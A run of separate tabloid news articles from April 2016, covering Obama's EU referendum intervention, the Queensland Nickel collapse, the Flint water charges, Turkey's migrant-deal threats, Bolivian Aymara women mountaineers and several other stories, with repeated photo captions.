When Cruz campaigned in the Empire State, Trump said, New Yorkers 'threw him around like a rag doll.'

With his signature bravado, he predicted another massive haul next Tuesday.
Barack Obama last night urged Britain to remain in the EU  saying it 'magnified' our influence in the world.

The sacrifice of GIs during the Second World War means America also has a stake in the referendum debate, he said.

The US president told British voters their choice 'will echo in the prospects of today's generation of Americans as well'.

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President Barack Obama, who arrived in London yesterday (pictured) for a three-day visit that will include dining with the royal family and talks with Prime Minister David Cameron, has urged Britain to remain in the EU

No 10 and the White House have orchestrated a pro-EU blitz to coincide with the US President's visit. Mr Obama said a vote to cut ties with Brussels will leave Britain less able to tackle terrorism, the migration crisis and economic difficulties.

And he said Britain and America's 'special relationship was forged as we spilled blood together on the battlefield'.

'I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States,' the president wrote in the Daily Telegraph.

'The tens of thousands of Americans who rest in Europe's cemeteries are a silent testament to just how intertwined our prosperity and security truly are. And the path you choose now will echo in the prospects of today's generation of Americans as well.'

President Obama said the US, the UK and the EU 'have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place'.

'What a remarkable legacy that is,' he wrote. 'And what a remarkable legacy we will leave when, together, we meet the challenges of this young century as well.'

The President also made an emotional appeal for Britain to vote to remain a part of the EU, which he says is an institution created 'from the ashes of war'.

'Our special relationship was forged as we spilled blood together on the battlefield,' he said. He compared the EU to the United Nations, Nato and post-war agreements such as Bretton Woods and the Marshall Plan.

'From the ashes of war, those who came before us had the foresight to create the international institutions and initiatives to sustain a prosperous peace,' he said.

Upon arriving, the president waved as he exited the Air Force One before being greeted on the tarmac. He told British voters their choice over the EU 'will echo in the prospects of today's generation of Americans as well'

No 10 and the White House have orchestrated a pro-EU blitz to coincide with the US President's visit. Obama said a vote to cut ties with Brussels will leave Britain less able to tackle terrorism, migration and the economy

'Their efforts provided a foundation for democracy, open markets and the rule of law, while underwriting more than seven decades of relative peace and prosperity in Europe.' President Obama argued that Britain's membership of the EU 'magnifies' its influence abroad.

'The European Union doesn't moderate British influence  it magnifies it,' he added. 'A strong Europe is not a threat to Britain's global leadership; it enhances Britain's global leadership.'

But his comments were met with anger from Eurosceptics. Former Cabinet minister Iain Duncan Smith led a chorus of protest at Britain being told to accept open borders when the US does not do the same.

Citizens of Mexico, part of the North American Free Trade Agreement with the US and Canada, have no automatic right to enter America, in contrast to the 500million EU nationals free to come to Britain. Mr Duncan Smith said: 'What I do find strange is that he is asking the British people to accept a situation he would not recommend to the American population.'

In his own column for The Sun, Boris Johnson wrote: 'For the United States to tell us in the UK that we must surrender control of so much of our democracy is a breathtaking example of the principle of do as I say, not as I do.

And speaking on BBC's Question Time last night, former defence secretary Liam Fox said: 'I don't like being told we should accept one thing the Americans wouldn't.'
Sacked workers at Clive Palmer's Queensland Nickel company are taking matters into their own hands as they become increasingly desperate after the company's collapse.

Creditors in the company were due on Friday to vote on whether to liquidate the company.

Creditors have three options, according to the ABC: To leave the company operating under the stewardship of administrators, return the company to the original management structure or to liquidate - the most likely outcome that they will come to.

Workers left in limbo like Joe Collocott, who has worked for Queensland Nickel for 16 years, have been trying to make life better for some of the 800 workers who have lost their jobs at the company since January.

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Federal MP and businessman Clive Palmer (pictured) has denied allegations that he took any money out of Queensland Nickel

Joe Collocott has used his garage (pictured) to store food donated for sacked Queensland Nickel workers

Mr Collocott provided his garage as a place for people to donate basic food items for struggling workers and other necessities they might need.

'We try to get food in their belly first, that way they're going to be a little more satisfied and they can think a lot straighter,' he said.

'The mental side of it is pretty hard for them because their head is like a washing machine.'

Things are so tough that donors are stocking personal supplies like ladies' hygiene products, toothpaste and soap, but the response by locals  particularly from local pensioners  has heartened him.

'It's indescribable,' he said. 'You don't think there's compassionate people out there until a crisis like this starts and since this has happened, the people are just overwhelming.'

A decision will likely be made on Friday for the Queensland Nickel refinery at Yabulu (pictured) to be liquidated

Federal MP Ewen Jones (left) burst into tears after the Turnbull government announced that most of the sacked Queensland Nickel workers will be compensated

Administrators FTI Consulting earlier this month released a report that found Queensland Nickel incurred debts of $771 million after going insolvent in November.

However, Federal MP and businessman Palmer has denied allegations that he took any money out of Queensland Nickel.

The Federal Government will take unprecedented steps to go after Mr Palmer to recover millions in unpaid entitlements owed to 800 Queensland Nickel workers who lost their jobs.

Mr Palmer told ABC's Lateline he was 'not at all' worried that the government would pursue him and his companies for financial relief for the sacked workers.

Mr Palmer told ABC's Lateline he was 'not at all' worried that the government would pursue him and his companies for financial relief for the sacked workers

Mr Jones, whose electorate takes in the Townsville nickel refinery that used to employ so many of his constituents, broke down as federal employment minister Michaelia Cash made the announcement

Mr Jones (left), a critic of Mr Palmer, stepped away from the microphone during the press conference

Federal Employment Minister Michaelia Cash announced she expects most of the Yabulu refinery employees will get the bulk of the $73.9 million owed by the company under the government's Fair Entitlements Guarantee Scheme.

But she also warned the Government would do everything in its power to ensure Mr Palmer and his businesses cough up the money provided by taxpayers and other funds.

Mr Palmer told Lateline he did not use Queensland Nickel money for private purposes and was not a shadow director.

'At no time, did I take any money out of the company Queensland Nickel,' told Lateline.

Mr Palmer claims the federal government is campaigning to end his political career in its pursuit of him over the collapse of Queensland Nickel.

Senator Cash (pictured) expects most of the Yabulu refinery employees will get the bulk of the $73.9 million owed by the company under the government's Fair Entitlements Guarantee Scheme

Mr Palmer is determined to fight on but desperate workers are taking matters into their own hands

More han 800 workers lost their jobs since January at Queensland Nickel

It comes after Liberal MP Ewen Jones burst into tears after the Turnbull Government announced that most of the sacked Queensland Nickel workers will be compensated.

Mr Jones, whose electorate Herbet takes in the Townsville nickel refinery that used to employ so many of his constituents, broke down as Senator Cash made the announcement.

'This is a tough day in Townsville because this says this is the end of the line for a lot of these people,' Mr Jones said.

'It's up to the liquidators to ensure they do everything they can to step in and chase this money. There's nothing surer... there are assets floating around that everyone can see, that can be cashed in ... if the circumstances are right.'

Mr Jones, a critic of Mr Palmer, stepped away from the microphone during the press conference as he wiped his tears away and was comforted by Senator Cash.

'Our city is bigger than Clive Palmer and we'll get over him,' he said.

Mr Jones is usually one of Parliament's more bubblier and joyful personalities

PUP leader Palmer is seen during House of Representatives Question Time at Parliament House in Canberra

Mr Jones took to Twitter after the press conference to apologise for 'getting teary'




The tweet was deleted on Friday morning and Ten has apologised

'What an ugly thing to say,' one of several outraged Twitter users said

Actress who could play Lewinsky in TV role is 'not ugly enough', he said

Channel Ten contributing editor Paul Bongiorno has been savaged on social media for a crude tweet about Monica Lewinsky's looks on Thursday evening.

The star political correspondent said an actress who could portray Ms Lewinsky in a TV movie was 'not ugly enough' for the role.

The tweet sparked a considerable backlash from Twitter users and feminist groups, who pointed out how humiliated Ms Lewinsky was after her affair with Bill Clinton was made public.

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Channel Ten contributing editor Paul Bongiorno tweeted the remarks on Thursday evening

Mr Bongiorno said actress Bel Powley (left) would not be ugly enough to play Monica Lewinsky (right) in a hypothetical TV movie

Mr Bongiorno said Ms Powley was 'not ugly enough' to play Ms Lewinsky

Some of the initial reaction to Mr Bongiorno's tweet Thursday evening

'Log off, Bonge,' said ABC Radio presenter Mark Colvin.

'What an ugly thing to say. You should be know better. Do you have a daughter? Are you human?' said Twitter user Esther Clerehan.

'I hope someone's grabbed your phone and posted this. And I hope you kick their ankles hard for doing so,' said Michael Harris.

'Lucky Paul is an oil painting,' Tom Lander said.

Melinda Tankard-Reist, from the feminist group Collective Shout said she expected more of someone of Mr Bongiorno's stature.

'His slur about her looks harms all women because it divides women on the basis of their physical appearance.'

'It's a slur, a put down and he's done it publicly which is designed... to ensure that the public mockery of Monica Lewinsky never ends.

'And I'm a bit surprised about this coming from Paul'.

Several users condemned tweet as 'disappointing' and others asked whether he had been hacked.

A Channel Ten spokeswoman said: 'Network Ten apologises for any offence that Paul Bongiorno's tweet has caused.'

The tweet was deleted on Friday morning.

Over the past few years, Ms Lewsinky has spoken publicly about the public humiliation she suffered after her affair with U.S. president Bill Clinton became public.

An iconic photo shown in evidence gathered by White House investigators examining Ms Lewinsky's scandal

In an interview with The Guardian recently, she said the experience was 'excruciating' and said it brought her 'very close' to committing suicide.

'Life was almost unbearable,' she said.

Her friend Linda Tripp secretly recorded conversations about Clinton and the audio tapes were obtained by the press.

Clinton initially denied the affair ('I did not have sexual relations with that woman, Ms Lewinsky').

But he eventually admitted an inappropriate relationship ('indeed, I did have a relationship with Ms Lewinsky that was not appropriate').

This week, Ms Lewinsky told author Jon Ronson: 'I felt like every layer of my skin and my identity were ripped off of me in '98 and '99.
A young female tiger found wondering with a leash and collar around a north Houston suburb was captured on Thursday and police are searching for whoever let the predator out among the public.

'Animal control officers were able to locate and capture the animal. We are asking for assistance in locating the owner,' police in Conroe, Texas said in a statement.

Even though tigers are generally dangerous animals, the one found in Texas is extremely docile and even licked the face of a stranger.

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A young female tiger found wondering with a leash and collar around a north Houston suburb was captured on Thursdaynd police are searching for its owner

Gentle: Even though tigers are generally dangerous animals, the one found in Texas is extremely docile and even licked the face of a stranger

'She runs up to me, jumped on me and put her paws on my shoulders and just starts licking my face like a dog. I thought it was pretty cool,' 19-year-old Jonathan Gessner told Click2Houston.

'I was really scared at first,' he added.

Gessner and his girlfriend Erin Poole encountered the big cat when they were out for a walk.

No one was harmed in the incident and the tiger's capture went off without any major hitches, local media reports said. The owner is likely to face sanctions under the state's animal control laws.

'It seems to be a tame animal, seems very playful and friendly,'Sgt. Dorcy McGinnis with the Conroe Police Department told KHOU.

'It is a very strong animal. It definitely would not be appropriate here in the City of Conroe.'

Those who have any information about the animal's owner should contact The Conroe Police Department at 936-522-3200.

Safe: No one was harmed in the incident and the tiger's capture went off without any major hitches, local media reports said
Traffic fines should be higher for people with big incomes and lower for people on welfare or who earn less, a charity organisation says.

Welfare group Uniting Communities has called for a new system of traffic penalties to be introduced in Australia to make it 'more fair' for low income drivers without reducing the amount of revenue state government collect through fines.

David Winderlich, from Uniting Communities in South Australia, the current system forced some people to choose between paying a fine and feeding their families.

A new model is proposing that traffic fines should be based on our income instead of a flat rate for all

'A fine for being 1 kilometre over the speed limit is about 80 per cent of the weekly payment of New Start or Youth Allowance,' he said.

The Australia Institute has developed a new traffic fine model that would seehigh income earners fined up to $1,550 for running a red light, while low income earners would pay just $247 for the same offence,The Advertiser reports.

The model, based on a system used in Finland, is calculated to maintain revenue flowing to state governments from traffic fines at current levels while simultaneously making fines more affordable for pensions and people on low incomes.

The report, called Reforming South Australia's Traffic Fine System, proposes an income based fining system.

It's an idea that Uniting Communities welfare agency has been lobbying for for some time.

David Winderlich said it's particularly bad for those struggling in South Australia.

The idea is modeled off the system in Finland where those that earn more are handed more expensive fines

'Well in South Australia in particular the fines are very high. We have the most expensive fines out of all the states and we fine the most people, we double the amount of people fined per year in New South Wales even though they came in second,' he said.

But inflating prices are also not helping.

'Speeding by 30km/h to 44km/h above the limit resulted in a $308 fine in 2000 and that fine had risen by 160 per cent to $800 in 2012,' the report said.

The author of the report, Jesper Lindqvist, told the Daily Mail that the idea is less extreme than people make it out to be.

'The punishment should be equal for everyone. A flat rate system might sound like it's fair because everyone is paying the exact same dollar amount for the same infringement. However the slap on the wrist is not feeling equally hard on everyone's wrist, so the punishment is not the same,' said Mr Lindqvist.

The author of the report says that 'the slap on the wrist is not feeling equally hard on everyone's wrist'

Mr Lindqvist said the fine itself isn't expensive enough to deter high income earners from committing more infringements.

'That's why in Australia you have the demerit point system as an extra deterrent. In Finland where the fine is income based they have no demerit point system because the fine is large enough as punishment,' he said.

Mr Winderlich said that while ideally the fines would be lowered for everyone, he wasn't expecting the state government to take the cut to their revenue.

'Most people think it's (traffic fines) a revenue collection, but they obviously say it's to increase safety,' he said.

Welfare agencies say that fines are so expensive that some people have to decide between eating for the week or paying a fine

'Someone has to decide between whether to pay their fine or to support their children and to eat for a week, that's the decision they face.'

Uniting Communities is presenting the report to South Australian attorney general, John Rau, and sending a copy to all members of parliament.
For more of the latest on Prince's death visit www.dailymail.co.uk/prince

In a video that illustrates the impact of Prince's sudden death on Thursday, a Georgia high school teacher is seen breaking down after playing Purple Rain in the classroom.

Upon learning Prince had died, teacher Matthew Patterson played a live rendition of the 1984 power ballad as he explained what the artist, who was 57, meant to him.

'I talked [to the students] about what Prince meant to me as an artist and a brave performer and a person unwilling to take stuff from record companies,' said Patterson when reached over the phone by the New York Daily News.

Video shows high school teacher Matthew Patterson getting emotional in class as he watches a Prince clip

The teacher said the news of Prince's death Thursday at age 57 hit him 'like a ton of bricks'

A student shot a cell phone video of Patterson that shows the teacher taking off his glasses and hanging his head in mourning.

'It hit me like a ton of bricks,' he said.

'I've been listening to Prince since I was seven. I must've spent thousands and thousands of hours listening to Prince. I was just a huge fan,' said Patterson, an English Language Arts teacher at Banneker High School in College Park.

Patterson told the Daily News the last time he saw Prince in concert was at an acoustic show in Atlanta.

Prince was known as a talented multi-instrumentalist and songwriter. He sold over 100 million records prior to his death Thursday

'It was the craziest thing Ive ever seen in my life. Who can captivate 20,000 people with one acoustic guitar?'

Prince Rogers Nelson was found dead Thursday morning at his compound in suburban Minneapolis, Paisley Park, which served as the artist's music studio.

The cause of death is still unknown, but the superstar was reported to have fallen sick with the flu last week.

On Friday, Prince's private plane made an emergency landing in Illinois so he could be rushed to hospital because of his flu symptoms, but was released three hours later and made an appearance at a party at Paisley Park the next day, telling fans to 'wait a few days before you waste any prayers'.
Water Treatment Plant foreman Matthew McFarland (pictured), 43, was found dead at his home on April 16 by a friend who went to visit him

The death of a Water Treatment Plant foreman, who was found dead at his home on April 16 by a friend who went to visit him, comes amid charges against three men involved in the city's water crisis.

Flint Mayor Karen Weaver announced the sudden death of foreman, Matthew McFarland on Thursday.

A friend discovered the 43-year-old's body when he went to visit him at his Otter Lake home last Saturday, according to MLive.

His death comes as Flint's water plant deals with the attorney general's announcement of three men facing criminal charges in connection with the city's water crisis.

The Lapeer County Sheriff's Department told MLive that there were no apparent signs of foul play and an autopsy conducted did not determine a cause of death.

Police are still waiting for toxicology reports.

Lapeer County deputies also contacted state and federal officials because McFarland had been questioned by investigators looking into Flint's Water Emergency.

Weaver told MLive said her 'thoughts and prayers go out to Matt's co-workers, his family and especially his children'.

McFarland had worked for the City of Flint for more than 18 years, according to Weaver.

She added that his family expressed that they would 'appreciate donations to establish a fund' for his children Vance and Ella's college expenses.

Michigan Attorney General Bill Schuette's office confirmed that McFarland was previously interviewed as part of its ongoing investigation into the city's water crisis.

McFarland's death remains an open investigation.

McFarland's death comes as Flint's water plant deals with the attorney general's announcement of three men facing criminal charges in connection with the city's water crisis. McFarland (center in blue) had worked for the City of Flint for more than 18 years

The office of Michigan's attorney general Bill Schuette (pictured) confirmed that McFarland was previously interviewed as part of its ongoing investigation into the city's water crisis. Schuette announced Wednesday the names of three men who would face charges in the Flint water crisis

Flint employee Michael Glasgow (pictured) has been charged over the city's water crisis along with Michigan employees Stephen Busch and Michael Prysby

Schuette announced charges against Flint employee Michael Glasgow and Michigan Department of Environmental Quality staff Stephen Busch and Michael Prysby, on Wednesday as part of a probe into the city's water issues.

Glasgow, Busch and Prysby are all accused of tampering with test results to show the city's water supply had less lead in it than there actually was.

Prysby, employed as an engineer with the state's Office of Drinking Water, is also accused of telling Glasgow in an email that phosphate wouldn't be needed when the city switched supplies to the Flint river back in 2014.

Phosphates are used to make water less corrosive, which could have prevented damaged to the city's lead pipes which caused the toxic metal to leech into the supply.

Prysby and Busch are also accused of telling Environmental Protection Agency regulator Miguel Del Toral that the city was using proper corrosion control when they knew it was not.

During a Legionella outbreak that killed 12 people, which may have been linked to the water crisis, Prysby and Busch allegedly impeded government health inspectors.

Glasgow, Prysby and Busch were all charged Wednesday by Judge Tracy Collier-Nix (pictured) with fudging test results to show the city has less lead in its water than was actually the case

Officials are accused of sending samples for testing from homes at low risk of lead poisoning, while insisting they were actually coming from at-risk properties.

Glasgow has previously insisted that data on which homes were most at risk did not exist or was incomplete, and in the past pointed to emails he sent insisting that water inspectors were not prepared to make the switch from the Detroit water supply to the Flint river.

The charges, the first to be leveled over the water crisis in Flint, were authorized Wednesday by Genesee District Court Judge Tracy Collier-Nix.

They were made as part of a government investigation that is expected to broaden, with more charges possible.

Busch is on paid leave after being suspended earlier while Prysby recently took another job in the agency.

For nearly 18 months after Flint's water source was switched while the city was under state financial management, residents drank and bathed with improperly treated water that coursed through aging pipes and fixtures, releasing toxic lead.

For nearly 18 months after Flint's water source was switched while the city was under state financial management, residents drank and bathed with improperly treated water that coursed through aging pipes and fixtures, releasing toxic lead

Republican Gov Rick Snyder announced in October that the city would return from the Flint River to its earlier source of treated water, the Detroit municipal system but dangerously high levels of the toxic metal had been detected in the blood of some residents, including children (file image)

The charges are the first to be made over Flint's water crisis and are part of a government probe which is due to expand with more charges possible (file image)

Republican Gov Rick Snyder announced in October that the city would return from the Flint River to its earlier source of treated water, the Detroit municipal system.

But by that time, dangerously high levels of the toxic metal had been detected in the blood of some residents, including children, for whom it can cause lower IQs and behavioral problems.

The city has been under a state of emergency for more than four months, and people there are using filters and bottled water.

In January, Republican Attorney General Bill Schuette opened an investigation and appointed a special counsel to lead the probe because his office also is defending Snyder and others in lawsuits filed over the water crisis.

The state investigation team has more than 20 outside attorneys and investigators and a budget of $1.5 million.

In addition to the lead contamination, outside experts also have suggested a link between the Flint River and a deadly Legionnaires' disease outbreak.

There were at least 91 cases, including 12 deaths, across Genesee County, which contains Flint, during a 17-month period.

That represents a five-fold increase over what the county averaged before.

The failure to deploy lead corrosion controls after the city's switch to the Flint River is considered a catastrophic mistake.

The DEQ has acknowledged misreading federal regulations and wrongly telling the city that the chemicals were not needed.

State officials were slow to respond to experts' and residents' concerns. After the crisis broke open, DEQ Director Dan Wyant and the department's communications director Brad Wurfel resigned.

Snyder announced the firing of Liane Shekter Smith, the former chief of the DEQ's Office of Drinking Water and Municipal Assistance.
Prime Minister Malcolm Turnbull says a corporate watchdog may investigate Channel Nine's involvement in the release of 60 Minutes crew from a Lebanese prison.

Mr Turnbull told Sydney's 2SM radio the botched child abduction in Beirut appeared to be 'most unwise' after it emerged the television network reportedly paid US$500,000 for the freedom of its crew, which included veteran journalist Tara Brown.

When asked about the Australian Securities and Investments Commission being brought in to investigate the payout, Mr Turnbull said: 'I've got no doubt it will be of interest to various regulatory agencies.'

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Prime Minister Malcolm Turnbull (pictured) says a corporate watchdog may investigate Channel Nine's involvement in the release of 60 Minutes crew from a Lebanese prison

Mr Turnbull (left) was on 2SM radio on Friday with veteran broadcaster John Laws (right)

Brown and her crew, along with Brisbane mother Sally Faulkner, were held in a Beirut jail after they were involved in a botched abduction to get her children back from their father, Ali Elamine.

Channel Nine paid Mr Elamine US$500,000 in an official settlement after he rejected an earlier offer of $350,000, News Corp reported.

But the father has previously denied he had received payment.

Mr Turnbull also said Australians should be prepared to face the consequences if they go overseas and break the law.

'It doesn't matter who you are or who you work for, when you are overseas - if you're an Australian - you must obey the laws of the country in which you were visiting,' he said.

'Nobody is above the law and if the break law in other parts of the world, you may well be breaking Australian law as well.

'From what I have read about it, [the 60 Minutes incident] appears to have been most unwise.'

The Prime Minister's comments come after Brown, producer Stephen Rice, cameraman Ben Williamson and sound recordist David Ballment touched down in Sydney airport on Thursday night.

Mr Turnbull said the botched child abduction appeared to be 'most unwise' as speculation mounts over whether Channel Nine had paid for the crew's freedom. Above are Tara Brown and Stephen Rice arriving home

The Prime Minister's comments come after Brown, Rice, cameraman Ben Williamson and sound recordist David Ballment touched down in Sydney airport on Thursday night

When asked how it felt to be back on home soil, the smiling journalist said 'very good' before being whisked to a black van with the rest of the crew so they could be taken back to their families and friends.

The team walked free from a Lebanese prison on Wednesday, along with Brisbane mother Sally Faulkner, after Mr Elamine, agreed to drop kidnapping charges.

They had spent two weeks behind bars over the plot to snatch Ms Faulkner's two children from her ex-husband's family on a street in Beirut.

The 60 Minutes crew sparked outrage on social media after posting a picture of them celebrating their release with drinks in an airport lounge before flying back business class to Australia via Dubai.

The 60 Minutes crew sparked outrage on social media after posting a picture of them celebrating their release with drinks in an airport lounge before flying back business class to Australia via Dubai

They went straight to Beirut airport after an investigative judge dropped charges against them over their botched child recovery mission.

But they were warned that they might be ordered back to Lebanon if prosecutors decide to proceed with criminal charges.
The bus driver has been stood down while the company investigates

Tiffany's grandmother found her crying and calling her name

Tiffany suffers from a rare disease and was left without her luggage

The family of an 11-year-old were left infuriated after the young girl with a chronic illnesses was kicked off the bus and left in the dark on the side of a road because she fell asleep and missed her stop.

Tiffany Cave boarded the Nakedbus for a three-hour trip from Rotorua to Manukau in the North Island of New Zealand to spend the school holidays with family - as well as to help raise funds for the Starship Childrens hospital.

Tiffany, who was born with no white blood cells suffers from the rare disease, Shwachman Diamond Syndrome.

She had spent the day at the hospital for treatment before boarding the bus and had fallen asleep on the bus because she was tired.

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The family of a young girl were left worried after the 11-year-old failed to get off her bus at her designated stop

Tiffanys grandfather, Doug Healey, contacted the bus company to ensure the young girl would be looked after while on the bus.

Her dad and I put her on the bus, we thought everything was going to be straight forward. She was meant to sit up front next to the driver and he was meant to make sure Tiffany got off at the right stop, Mr Healey told Daily Mail Australia.

But instead Tiffany was seated on the second level of the double decker bus next to a man for the three hour journey.

At 8.20pm Tiffanys grandmother, Mrs Lian Healey, was expecting to greet her granddaughter as she came off the bus.

The bus went to the designated area at the time stated, outside a Westfield shopping centre, where there are a number of buses pulling up, Mr Healey said.

She saw the driver getting off and unloading the bags. She tried looking for Tiffany and her bag but couldn't see her.

She tried to reach the driver but he had frantically jumped on the bus, closed the door and disappearedIt all happened in about ten minutes she was the only left at the bus top no bag no child.

After the bus driver realised Tiffany Cave was still on the bus, he pulled over on the side of the road in the dark and told her to get off

Tiffany had fallen asleep, missing, her stop because she had spent the day at the hospital receiving treatment for a rare disease

Her grandfather, Doug Healey, contacted the bus cimpany, Nakedbus, to ensure they would take care of his granddaughter before purchasing the ticket

As well as failing to ensure the safety of the young girl the bus driver was unaware the 11-year-old had missed her stop.

It was a night journey, she fell asleep and when the bus had left Monakau the man sitting next to her told the bus driver that there was a young girl on board the bus that needed to get off at the previous stop.

So he [the driver] stopped on the side of the dark road and told her she needed to get off.

Tiffany asked him about her bag and he said I probably chucked it out at Manukau

Panicking Ms Lian contacted the bus company which failed to provide any support.

Refusing to give any information because of protocol and failing to provide a contact for the bus driver Ms Lian had decided to drive to the final stop in the centre of city.

With no other option Mrs Lian was about to leave when she heard Tiffany calling her name.

She was crying she was upset, a kid thats been asleep after a day at the hospital was pushed out onto the road.

If she walked in any other directits a slummy area.

Nakedbus has launched an internal investigation and has contacted the family in a bid to apologise

Tiffany was found by her grandmother calling her name and crying 20 minutes after she was meant to have gotten off

After finally encountering each other Mrs Lian drover the the city in order to collect her granddaughters luggage which contained her clothes and medication.

As the driver had already left, Mrs Lian asked the cleaners on board the bus to retrieve the luggage from below.

Nakedbus have since contacted the family and have requested a meeting next week in hopes of apologising. The company has also launched an internal investigation by the company has also been launched.
Turkey has threatened to rip-up its migrant deal with the EU claiming it will stop letting migrants across its border unless Brussels implements a pledge to grant Turks visa-free travel.

President Recep Tayyip Erdogan warned the European Union that it needs Turkey 'more than we need you' as tensions grew over promises for visa liberalisation in a crucial deal on stemming the flow of migrants to Europe.

Turkish Prime Minister Ahmet Davutoglu had earlier bluntly told the EU that Ankara would no longer abide by the March migrant accord if Brussels fails to implement the visa-free travel by June.

Turkey's President Recep Tayyip Erdogan (above) warned the EU that it needs Turkey 'more than we need you' as tensions grew over promises for visa liberalisation in a crucial deal on stemming the flow of migrants

Critics are now concerned that the EU appears ready to give in to pressure laid on by the country.

UKIP MEP James Carver, a member of the European Parliament's foreign affairs committee, told the Daily Express: 'The EU wants to give visa-free travel to all Turkish citizens by June, and eventually full Turkish accession. British people are appalled that the EU is giving into blackmail and allowing visa-free travel.

'This shows that the Brexit debate is not really about where the EU is now but the direction and destiny it is travelling to in the future. Turkey is too big, too poor and too different from us.

'I certainly don't wish to be in a political union with a country with such a despicable human rights record, which massacres the Kurds and helps out Islamic State in an underhand way too.'

Tensions have also been fuelled by a European Parliament report published last week that accused Turkey of backsliding on democracy and pressure from Ankara on Berlin to prosecute a German comic over a poem satirising Erdogan.

The issues are coming to a head as Chancellor Angela Merkel and top EU officials prepare to travel to the Turkish city of Gaziantep, close to the Syrian border, on Saturday to discuss implementation of the migrant deal.

'The European Union needs Turkey more than Turkey needs the European Union,' Erdogan said to cheers in a televised speech to municipal leaders in Ankara.

Kilis, a city located just 10km from the Syrian border and the location of the Oncupinar Border crossing, has been Turkey's frontline during the refugee crisis. The country has taken around three million people from Syria

Denouncing a European Parliament report as 'provocative', he criticised it for praising Turkey's work in hosting some 2.7 million refugees from the war in neighbouring Syria.

'Three million people have been looked after in this country so they don't disturb the Europeans. Is there anything about this in the report?' said Erdogan.

'At a time when our relations with the European Union are in a positive phase regarding the migrants... it is provocative to come out with a report like that.'

Turkey has been given a string of promises from the European Union - including visa-free travel to the border-free Schengen Zone and a new momentum for its long-stalled membership bid - in return for stepping up efforts to stop migrants crossing to EU territory.

'This is a mutual commitment,' Davutoglu said earlier this week of the promise to exempt Turks from visas by the end of June.

'If the EU cannot take the necessary steps required of it then of course it cannot be expected of Turkey to take these steps.'

If the June deadline is not adhered to, 'of course no-one can expect Turkey to adhere to its commitments,' he added.

Marc Pierini, visiting scholar at Carnegie Europe, said that Ankara was 'very keen' to obtain the visa-free regime but was also aware there were are 72 technical conditions to be fulfilled.

'As of today, these conditions have not been met yet,' he said.

Once they are met, the issue will be put to EU interior ministers for a qualified majority vote in June.

'Turkey does not have the ability to change the voting procedures in EU Ministerial Councils,' Pierini commented.

UKIP MEP James Carver (pictured), a member of the European Parliament's foreign affairs committee, said of Turkey's threat: 'British people are appalled that the EU is giving into blackmail and allowing visa-free travel'

EU Commission chief Jean-Claude Juncker also warned Ankara that the 'criteria (on visa liberalisation) will not be watered down in the case of Turkey'.

He said Davutoglu had raised the issue in talks in Strasbourg 'but he did not need to because... I have made clear that this will be done when Turkey has fulfilled all the conditions, which it is in the process of doing.'

He added: 'We concluded an accord and this deal is being applied. There is no need to make any kind of threat.'

The March 18 accord sets out measures for reducing Europe's worst migration crisis since the Second World War, including stepped-up checks by Turkey and the shipping back to Turkish territory of migrants who land on the Greek islands.

But the prospect of visa-free travel for Turks has been hugely controversial in some EU countries, where leaders have been accused of bending over to fulfil Erdogan's demands at a time when he is accused of growing authoritarianism.

In his address to the PACE, Davutoglu did not emphasise the visa issue but lamented the lack of foreign assistance given to Turkey for the Syrian refugees, saying this amounted to just $500 million (440 million euros) compared to Turkey's spending of $10 billion.
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Dressed head to toe in their traditional 'cholita' garb, these are the indigenous women of the Andes who have swapped cooking and cleaning at mountain base camps to climb the peaks themselves.

For years, Lydia Huayllas, 48, worked as a cook at mountain-climbing refuges on the steep, glacial slopes of Huayna Potosi, a 19,900ft Andean peak outside of La Paz, Bolivia.

But two years ago, she and 10 other Aymara indigenous women, all aged between 42 and 50, who also worked as porters and cooks for mountaineers, put on crampons and started to do their own climbing.

These women have now scaled five peaks - Acotango, Parinacota, Pomarapi and Huayna Potosi as well as Illimani, the highest of all - in Bolivia's Cordillera Real range. All are higher than 19,500 ft (6,000 metres) above sea level.

'What do you do up there, how does it feel?' Huayllas said she asked her husband, mountain guide Eulalio Gonzales, two years ago. That was when he proposed that she climb the peak to find out for herself.

Last weekend, the women climbed the imposing Illimani, which has a five-mile long series of four peaks. It is the highest mountain in the Cordillera Real with its peak at 21,000ft.

It looms above the Bolivian highlands and eight of the 11 women managed to reach the summit, braving a snowstorm and heavy winds.

The women climb in their traditional dress, but trade in their bowler hats for helmets, and use modern equipment including ropes, harnesses, crampons and boots. One advantage they have is that they are already well acclimated to the thin air at high altitudes.

The short-term goal for the group is to climb eight mountains higher than 19,700ft (6,000 metres), but their ultimate dream is to plant a Bolivian flag on the summit of Aconcagua, the highest mountain outside of Asia at 22,800ft, located in the Argentine Andes near Chile.

Aymara indigenous women Domitila Alana, 42 (left), and Lidia Huayllas, 48, pose for a photograph at the Huayna Potosi mountain, Bolivia

The women climb in their traditional 'cholita' garb, but trade hats for helmets, and use modern equipment including ropes and harnesses

Four Aymara indigenous women practise descending on a glacier at the 20,000ft high Huayna Potosi mountain in western Bolivia

One advantage the local women have to outsiders who come to the Andes to climb is that they are already well acclimated to the thin air

The women have now scaled five peaks - Acotango, Parinacota, Pomarapi and Huayna Potosi, as well as Illimani (above) - the highest of all

Two Aymara women fix their long hair before ascending the 21,000ft high Illimani mountain, on the outskirts of La Paz, western Bolivia

Last weekend, the women climbed the imposing 21,000ft high Illimani mountain, which has a five-mile (8 km) long series of four peaks

The short-term goal for the group is to climb eight mountains higher than 19,700 feet (6,000 metres). They have already achieved five peaks

The women have all climbed Huayna Potosi mountain (above), and recently took on the Illimani peak which looms above the Bolivian highlands, the country's largest city La Paz and Lake Titicaca to the west, as well of the valleys of the Amazon. Eight reached the summit

Aymara indigenous women Bertha Vedia, 48 (left), and Dora Magueno, 50, pose for a photograph at the Huayna Potosi mountain, Bolivia

Lidia Huayllas, 48, (far left) and Dora Magueno, 50, stand near Milluni lake, with the Huayna Potosi mountain in the background, Bolivia

The group's ultimate dream is to plant a Bolivian flag on the summit of Aconcagua, the highest mountain outside of Asia at 22,841 feet

The women climb in their traditional 'cholita' garb but use modern equipment including ropes, harnesses, crampons, helmets and boots

Lydia Huayllas, 48, worked as a cook at base camps and refuges on the glacial slopes of Huayna Potosi, before taking on the peak herself

The base camp of the Aymara indigenous women mountaineers is seen from the Illimani mountain, on the outskirts of La Paz, Bolivia

Aymara indigenous women Bertha Vedia (left), Dora Magueno (centre) and Lidia Huayllas (right) sit in a car in El Alto, Bolivia. Two years ago, about a dozen Aymara indigenous women, aged 42 to 50, put on crampons under their wide traditional skirts and began climbing

